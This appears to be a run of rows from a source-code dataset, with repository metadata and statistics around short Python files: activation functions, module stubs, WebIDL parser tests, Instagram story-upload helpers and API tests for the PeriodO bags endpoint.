| 17.1 | 52 | 0.71345 | 19 | 171 | 6 | 0.736842 | 0.298246 | 0.350877 | 0.491228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006711 | 0.128655 | 171 | 9 | 53 | 19 | 0.758389 | 0.321637 | 0 | 0 | 0 | 0 | 0.280374 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
522e697b2f27f16f7ef96a1dbd5157e063eac044 | 112 | py | Python | act_func.py | MilesWQ/MachineLearning | 9ab84607c502681f9c7765a526b7b8d3ad6c8791 | [
"MIT"
] | null | null | null | act_func.py | MilesWQ/MachineLearning | 9ab84607c502681f9c7765a526b7b8d3ad6c8791 | [
"MIT"
] | null | null | null | act_func.py | MilesWQ/MachineLearning | 9ab84607c502681f9c7765a526b7b8d3ad6c8791 | [
"MIT"
] | null | null | null | import numpy as np
def sigmod(z):
return 1 / (1 + np.exp(-z))
def relu(z):
return 0 if z < 0 else z
| 11.2 | 31 | 0.5625 | 23 | 112 | 2.73913 | 0.608696 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051282 | 0.303571 | 112 | 9 | 32 | 12.444444 | 0.75641 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
870c3cccc1123f40c57607f1d4e9401d1fb8a1ad | 27 | py | Python | src/euler_python_package/euler_python/medium/p350.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p350.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p350.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | def problem350():
pass
| 9 | 17 | 0.62963 | 3 | 27 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 0.259259 | 27 | 2 | 18 | 13.5 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
87264360d249a10e5b0c164d1a12843eea4a2b12 | 47 | py | Python | oscar_webstore_root/forked_apps/partner/admin.py | OWStimpson/oscar-webstore | 52411219fa5ef51e6e7fe93078049a85ab84f674 | [
"BSD-3-Clause"
] | 34 | 2016-03-09T17:53:04.000Z | 2021-01-17T05:24:58.000Z | oscar_webstore_root/forked_apps/partner/admin.py | OWStimpson/oscar-webstore | 52411219fa5ef51e6e7fe93078049a85ab84f674 | [
"BSD-3-Clause"
] | 16 | 2018-05-04T13:00:07.000Z | 2021-05-27T14:54:09.000Z | oscar_webstore_root/forked_apps/partner/admin.py | OWStimpson/oscar-webstore | 52411219fa5ef51e6e7fe93078049a85ab84f674 | [
"BSD-3-Clause"
] | 16 | 2016-04-26T06:43:30.000Z | 2020-07-07T00:17:54.000Z | from oscar.apps.partner.admin import * # noqa
| 23.5 | 46 | 0.744681 | 7 | 47 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148936 | 47 | 1 | 47 | 47 | 0.875 | 0.085106 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
873b31cf544dbc4598e5843da6edd858bb19b4a8 | 179 | py | Python | otter/service/__init__.py | pra-deo/otter-grader | a55d6bb4da6d103bea8d0b34a71e104244aa189d | [
"BSD-3-Clause"
] | null | null | null | otter/service/__init__.py | pra-deo/otter-grader | a55d6bb4da6d103bea8d0b34a71e104244aa189d | [
"BSD-3-Clause"
] | null | null | null | otter/service/__init__.py | pra-deo/otter-grader | a55d6bb4da6d103bea8d0b34a71e104244aa189d | [
"BSD-3-Clause"
] | null | null | null | """
Otter Service command-line utility. Provides support for managing a grading VM on a 3rd part cloud
provider.
"""
from . import build
from . import create
from . import start
| 19.888889 | 98 | 0.75419 | 27 | 179 | 5 | 0.814815 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006803 | 0.178771 | 179 | 8 | 99 | 22.375 | 0.911565 | 0.603352 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
87580e6a36548d00413122166e9e42485b219326 | 337 | py | Python | src/volsim/lr_policies.py | tum-pbs/VOLSIM | 795a31c813bf072eb88289126d7abd9fba8b0e54 | [
"MIT"
] | 7 | 2022-01-28T09:40:15.000Z | 2022-03-07T01:52:00.000Z | src/volsim/lr_policies.py | tum-pbs/VOLSIM | 795a31c813bf072eb88289126d7abd9fba8b0e54 | [
"MIT"
] | null | null | null | src/volsim/lr_policies.py | tum-pbs/VOLSIM | 795a31c813bf072eb88289126d7abd9fba8b0e54 | [
"MIT"
] | 1 | 2022-03-14T22:08:47.000Z | 2022-03-14T22:08:47.000Z |
class LrDecayPolicy(object):
def __init__(self, lrDecayFactor, lrDecayTimes, maxEpoch):
self.lrDecayFactor = lrDecayFactor
self.lrDecayTimes = lrDecayTimes
self.maxEpoch = maxEpoch
def __call__(self, epoch):
return self.lrDecayFactor ** (epoch * (self.lrDecayTimes/(self.maxEpoch + 0.0000001)) ) | 37.444444 | 95 | 0.694362 | 32 | 337 | 7.0625 | 0.4375 | 0.225664 | 0.212389 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029851 | 0.204748 | 337 | 9 | 95 | 37.444444 | 0.813433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
87608e8e1f3c0515fe7ff3545a7f0f6cf77c7888 | 134 | py | Python | dummy/admin.py | healthdesk-hackathon/backend | 93c43ff1aeff493a6b4d0034807f0434507ab05d | [
"MIT"
] | null | null | null | dummy/admin.py | healthdesk-hackathon/backend | 93c43ff1aeff493a6b4d0034807f0434507ab05d | [
"MIT"
] | 32 | 2020-03-27T23:50:02.000Z | 2021-09-08T01:54:55.000Z | dummy/admin.py | healthdesk-hackathon/backend | 93c43ff1aeff493a6b4d0034807f0434507ab05d | [
"MIT"
] | null | null | null | from django.contrib import admin
from dummy.models import Dummy
@admin.register(Dummy)
class DummyAdmin(admin.ModelAdmin):
pass
| 16.75 | 35 | 0.791045 | 18 | 134 | 5.888889 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134328 | 134 | 7 | 36 | 19.142857 | 0.913793 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
5e4da0aac1c6b81a0364d4b4dade023345140543 | 20 | py | Python | renderer.py | ThePaperTop/rich-text | a10c124e0ead94949f6ef67ae097b9cf37918f45 | [
"MIT"
] | null | null | null | renderer.py | ThePaperTop/rich-text | a10c124e0ead94949f6ef67ae097b9cf37918f45 | [
"MIT"
] | null | null | null | renderer.py | ThePaperTop/rich-text | a10c124e0ead94949f6ef67ae097b9cf37918f45 | [
"MIT"
] | null | null | null | from PIL import *
| 5 | 17 | 0.65 | 3 | 20 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.3 | 20 | 3 | 18 | 6.666667 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5e665f4d56977a12126cf2123f7aa986d0139385 | 46 | py | Python | alphazero/utils/__init__.py | pietrobarbiero/alphazero | 32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9 | [
"Apache-2.0"
] | null | null | null | alphazero/utils/__init__.py | pietrobarbiero/alphazero | 32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9 | [
"Apache-2.0"
] | null | null | null | alphazero/utils/__init__.py | pietrobarbiero/alphazero | 32cfc8ce444fe4f77c4f04aaba6ddfde24d3ffd9 | [
"Apache-2.0"
] | null | null | null | from .utils import load_pickle, save_as_pickle | 46 | 46 | 0.869565 | 8 | 46 | 4.625 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 46 | 1 | 46 | 46 | 0.880952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5ea1743d36af676f01ee3e76c9f08c2d01abb671 | 6,622 | py | Python | B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | 3 | 2015-08-31T15:24:31.000Z | 2020-04-24T20:31:29.000Z | B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | null | null | null | B2G/gecko/dom/bindings/parser/tests/test_special_method_signature_mismatch.py | wilebeast/FireFox-OS | 43067f28711d78c429a1d6d58c77130f6899135f | [
"Apache-2.0"
] | 3 | 2015-07-29T07:17:15.000Z | 2020-11-04T06:55:37.000Z | def WebIDLTest(parser, harness):
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch1 {
getter long long foo(long index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch2 {
getter void foo(unsigned long index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch3 {
getter boolean foo(unsigned long index, boolean extraArg);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch4 {
getter boolean foo(unsigned long... index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch5 {
getter boolean foo(optional unsigned long index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch6 {
getter boolean foo();
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch7 {
deleter long long foo(long index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch9 {
deleter boolean foo(unsigned long index, boolean extraArg);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch10 {
deleter boolean foo(unsigned long... index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch11 {
deleter boolean foo(optional unsigned long index);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch12 {
deleter boolean foo();
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch13 {
setter long long foo(long index, long long value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch15 {
setter boolean foo(unsigned long index, boolean value, long long extraArg);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch16 {
setter boolean foo(unsigned long index, boolean... value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch17 {
setter boolean foo(unsigned long index, optional boolean value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch18 {
setter boolean foo();
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch20 {
creator long long foo(long index, long long value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch22 {
creator boolean foo(unsigned long index, boolean value, long long extraArg);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch23 {
creator boolean foo(unsigned long index, boolean... value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch24 {
creator boolean foo(unsigned long index, optional boolean value);
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
threw = False
try:
parser.parse("""
interface SpecialMethodSignatureMismatch25 {
creator boolean foo();
};
""")
results = parser.finish()
except:
threw = True
harness.ok(threw, "Should have thrown.")
| 22.447458 | 90 | 0.532014 | 549 | 6,622 | 6.417122 | 0.092896 | 0.059608 | 0.077491 | 0.113256 | 0.782856 | 0.782856 | 0.762418 | 0.762418 | 0.755038 | 0.755038 | 0 | 0.008132 | 0.36862 | 6,622 | 294 | 91 | 22.52381 | 0.834489 | 0 | 0 | 0.814655 | 0 | 0 | 0.513138 | 0.100272 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00431 | false | 0 | 0 | 0 | 0.00431 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5ea254cfa4c360b3f7868b4af858c47908be8a18 | 27 | py | Python | tests/cmd/__init__.py | tuunit/cobry | 8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8 | [
"BSD-3-Clause"
] | 2 | 2020-06-23T06:22:10.000Z | 2020-07-01T05:48:06.000Z | tests/cmd/__init__.py | tuunit/cobry | 8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8 | [
"BSD-3-Clause"
] | 1 | 2020-06-19T12:18:01.000Z | 2020-06-19T12:18:07.000Z | tests/cmd/__init__.py | tuunit/cobry | 8114a8d1adc50b82fa5b1fd7da36625ebe2cfac8 | [
"BSD-3-Clause"
] | null | null | null | from .root import execute
| 13.5 | 26 | 0.777778 | 4 | 27 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 27 | 1 | 27 | 27 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0de3bed1a73681ad436cb2fd9bf4267457847521 | 35 | py | Python | kaggle_humpback/tasks/__init__.py | maxjeblick/kaggle-humpback | 78674fc8761490fafc2db825ccbebcec89508ca2 | [
"BSD-2-Clause"
] | 167 | 2019-03-08T03:34:48.000Z | 2022-03-24T06:01:17.000Z | tasks/__init__.py | zhenlan0426/kaggle-humpback | c975332a99bec9c2485fea17c831f52f9a77736f | [
"BSD-2-Clause"
] | 2 | 2019-03-17T07:38:26.000Z | 2020-08-24T11:20:46.000Z | tasks/__init__.py | zhenlan0426/kaggle-humpback | c975332a99bec9c2485fea17c831f52f9a77736f | [
"BSD-2-Clause"
] | 50 | 2019-03-09T00:16:56.000Z | 2022-03-27T11:38:48.000Z | from .task_factory import get_task
| 17.5 | 34 | 0.857143 | 6 | 35 | 4.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
21d0ae6aa58d0791f55c6d30e63f576951ba0a8f | 38 | py | Python | je_auto_control/wrapper/__init__.py | JE-Chen/Python_JEAutoControl | 477bf9612e28e9ab6d0a8e269db2f699e50a3744 | [
"MIT"
] | 9 | 2020-10-12T06:33:36.000Z | 2021-09-13T07:07:36.000Z | je_auto_control/wrapper/__init__.py | JE-Chen/Python_JEAutoControl | 477bf9612e28e9ab6d0a8e269db2f699e50a3744 | [
"MIT"
] | null | null | null | je_auto_control/wrapper/__init__.py | JE-Chen/Python_JEAutoControl | 477bf9612e28e9ab6d0a8e269db2f699e50a3744 | [
"MIT"
] | null | null | null | from je_auto_control.wrapper import *
| 19 | 37 | 0.842105 | 6 | 38 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 38 | 1 | 38 | 38 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
21e776bcc4cccee8d5a1065a3c117e2e676601b2 | 729 | py | Python | helpers.py | kompaakt/instagrapi-rest | f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8 | [
"MIT"
] | null | null | null | helpers.py | kompaakt/instagrapi-rest | f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8 | [
"MIT"
] | null | null | null | helpers.py | kompaakt/instagrapi-rest | f788e2456bfdfa4f370ecb5f063a1dceed7c1ac8 | [
"MIT"
] | null | null | null | import tempfile
from instagrapi.story import StoryBuilder
async def photo_upload_story(cl, content, caption, **kwargs):
with tempfile.NamedTemporaryFile(suffix='.jpg') as fp:
fp.write(content)
mentions = kwargs.get('mentions') or []
video = StoryBuilder(fp.name, caption, mentions).photo(15)
return cl.video_upload_to_story(video.path, caption, **kwargs)
async def video_upload_story(cl, content, caption, **kwargs):
with tempfile.NamedTemporaryFile(suffix='.mp4') as fp:
fp.write(content)
mentions = kwargs.get('mentions') or []
video = StoryBuilder(fp.name, caption, mentions).video(15)
return cl.video_upload_to_story(video.path, caption, **kwargs)
| 36.45 | 70 | 0.695473 | 91 | 729 | 5.461538 | 0.340659 | 0.104628 | 0.052314 | 0.080483 | 0.812877 | 0.812877 | 0.812877 | 0.812877 | 0.812877 | 0.812877 | 0 | 0.008389 | 0.182442 | 729 | 19 | 71 | 38.368421 | 0.825503 | 0 | 0 | 0.428571 | 0 | 0 | 0.032922 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1d074b0cb2dd3d3832be695b4ae4d4ab29b7a893 | 6,193 | py | Python | test/test_bags.py | periodo/periodo-server | 7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac | [
"CC0-1.0"
] | 9 | 2015-05-07T07:40:16.000Z | 2020-01-13T15:53:01.000Z | test/test_bags.py | periodo/periodo-server | 7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac | [
"CC0-1.0"
] | 118 | 2015-01-27T21:14:49.000Z | 2022-03-18T07:06:14.000Z | test/test_bags.py | periodo/periodo-server | 7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac | [
"CC0-1.0"
] | 1 | 2015-11-09T10:31:16.000Z | 2015-11-09T10:31:16.000Z | import httpx
import pytest
from rdflib.namespace import Namespace
from urllib.parse import urlparse
from uuid import UUID
from periodo import DEV_SERVER_NAME
PERIODO = Namespace("http://n2t.net/ark:/99152/")
PROV = Namespace("http://www.w3.org/ns/prov#")
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
assert res.status_code == httpx.codes.CREATED
bag_url = urlparse(res.headers["Location"])
assert bag_url.path == f"/bags/{id}"
assert bag_url.query == "version=0"
res = client.get(res.headers["Location"])
assert "Last-Modified" in res.headers
assert res.headers["Etag"] == (
'W/"bag-6f2c64e2-c65f-4e2d-b028-f89dfb71ce69-version-0"'
)
jsonld = res.json()
assert jsonld == load_json("test-bag.jsonld")
assert jsonld["@context"] == [
f"http://{DEV_SERVER_NAME}/c",
{"@base": "http://n2t.net/ark:/99152/"},
]
res = client.get("/bags/")
assert res.status_code == httpx.codes.OK
assert res.headers["Content-Type"] == "application/json"
assert res.json() == [f"http://{DEV_SERVER_NAME}/bags/{id}"]
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_if_none_match(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
assert res.status_code == httpx.codes.CREATED
res = client.get(
res.headers["Location"],
headers={
"If-None-Match": 'W/"bag-6f2c64e2-c65f-4e2d-b028-f89dfb71ce69-version-0"'
},
)
assert res.status_code == httpx.codes.NOT_MODIFIED
def test_create_bag_requires_auth(client, load_json):
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
assert res.status_code == httpx.codes.UNAUTHORIZED
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag_requires_title(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
bag_json = load_json("test-bag.json")
del bag_json["title"]
res = client.put(f"/bags/{id}", json=bag_json)
assert res.status_code == httpx.codes.BAD_REQUEST
assert res.json()["message"] == "A bag must have a title"
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag_requires_items_array(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
bag_json = load_json("test-bag.json")
del bag_json["items"]
res = client.put(f"/bags/{id}", json=bag_json)
assert res.status_code == httpx.codes.BAD_REQUEST
assert res.json()["message"] == "A bag must have at least two items"
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag_requires_minimum_of_two_items(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
bag_json = load_json("test-bag.json")
bag_json["items"].pop()
res = client.put(f"/bags/{id}", json=bag_json)
assert res.status_code == httpx.codes.BAD_REQUEST
assert res.json()["message"] == "A bag must have at least two items"
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag_requires_items_be_periodo_ids(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
bag_json = load_json("test-bag.json")
bag_json["items"].append("foobar")
res = client.put(f"/bags/{id}", json=bag_json)
assert res.status_code == httpx.codes.BAD_REQUEST
assert res.json()["message"] == "No resource with key: foobar"
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_update_bag(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
assert res.status_code == httpx.codes.CREATED
bag_url_v0 = urlparse(res.headers["Location"])
assert f"/bags/{id}" == bag_url_v0.path
assert "version=0" == bag_url_v0.query
res = client.put(f"/bags/{id}", json=load_json("test-bag-updated.json"))
assert res.status_code == httpx.codes.CREATED
bag_url_v1 = urlparse(res.headers["Location"])
assert f"/bags/{id}" == bag_url_v1.path
assert "version=1" == bag_url_v1.query
res = client.get(f"/bags/{id}")
assert res.json() == load_json("test-bag-updated.jsonld")
res = client.get(f"/bags/{id}?version=0")
assert res.json() == load_json("test-bag.jsonld")
res = client.get(f"/bags/{id}?version=1")
assert res.json() == load_json("test-bag-updated.jsonld")
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_create_bag_using_jsonld(active_user, client, load_json):
active_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
res = client.put(f"/bags/{id}", json=load_json("test-bag-updated.jsonld"))
assert res.status_code == httpx.codes.CREATED
res = client.get(f"/bags/{id}")
assert res.json() == load_json("test-bag-updated.jsonld")
res = client.get(f"/bags/{id}?version=0")
assert res.json() == load_json("test-bag.jsonld")
res = client.get(f"/bags/{id}?version=1")
assert res.json() == load_json("test-bag-updated.jsonld")
@pytest.mark.client_auth_token("this-token-has-normal-permissions")
def test_update_bag_must_be_owner(
active_user, admin_user, client, bearer_auth, load_json
):
active_user, admin_user
id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69")
res = client.put(f"/bags/{id}", json=load_json("test-bag.json"))
res = client.put(
f"/bags/{id}",
json=load_json("test-bag-updated.jsonld"),
auth=bearer_auth("this-token-has-admin-permissions"),
)
assert res.status_code == httpx.codes.FORBIDDEN
